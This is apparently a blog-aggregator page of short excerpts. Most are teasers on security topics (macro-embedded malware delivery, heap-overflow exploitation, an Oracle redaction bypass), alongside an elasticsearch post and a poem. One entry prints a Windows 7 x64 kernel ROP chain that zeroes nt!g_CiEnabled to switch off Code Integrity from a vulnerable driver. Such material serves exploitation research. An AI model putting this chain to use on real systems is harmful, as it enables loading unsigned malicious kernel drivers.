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Stretching elasticsearch

This week I had to look into elasticsearch. Simply put, it is a search engine with a simple to use interface. Interface as in REST API, I mean. 612 more words


ROP for Windows 7 x64 to bypass Code Integrity from vulnerable DriverEntry

RET instructions are omitted

;; NT Kernel ROP chain to bypass Code Integrity on Windows 7 x64 SP1 from IopLoadDriver
;; ntoskrnl.exe
;; 6.1.7601.18409  
pop           rax                  ; rsp + 10  ; skip this gets replaced
pop           rax                  ; rsp + 20  ; nt!g_CiEnabled
mov byte ptr , 0              ; rsp + 28  ; nt!g_CiEnabled = 0
pop           rax                  ; rsp + 38  ; align stack     
pop           rax                  ; rsp + 48  ; align stack
xor           eax, eax             ; rsp + 50  ; STATUS_SUCCESS
add           rsp, 240h            ; rsp + 290 ; epilogue
pop           r15
pop           r14
pop           r13
pop           r12
pop           rdi
pop           rsi
pop           rbp
retn                               ; return to IopLoadUnloadDriver

MacroExp – a Combined Social Engineering and Exploit Attack

Combining an executable, usually malicious file with a standard Word or Excel file, unbeknownst to the user, has always been an aspiration for cyber-criminals. With such an asset, they could make the victim unwittingly install the malware, without raising his suspicions or AV vendor alerts when running an executable file. 407 more words

Cyber Intelligence

x86 Exploitation 101: heap overflows... unlink me, would you please?

Well, do the previous techniques apply to the dynamic allocation scenario? What if, instead of a statically allocated array, there’s a malloc-ed space? Would that work? 2,945 more words


Oracle Database 12c's data redaction security smashed live on stage

Oracle’s newly launched Data Redaction security feature in Oracle Database 12c can be easily disrupted by an attacker without any need to use exploit code, a security researcher long known as a thorn in Oracle’s side said at Defcon. 586 more words



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Mother Earth watches

As her resources are pilfered
by petulant children
who think they are the highest form… 27 more words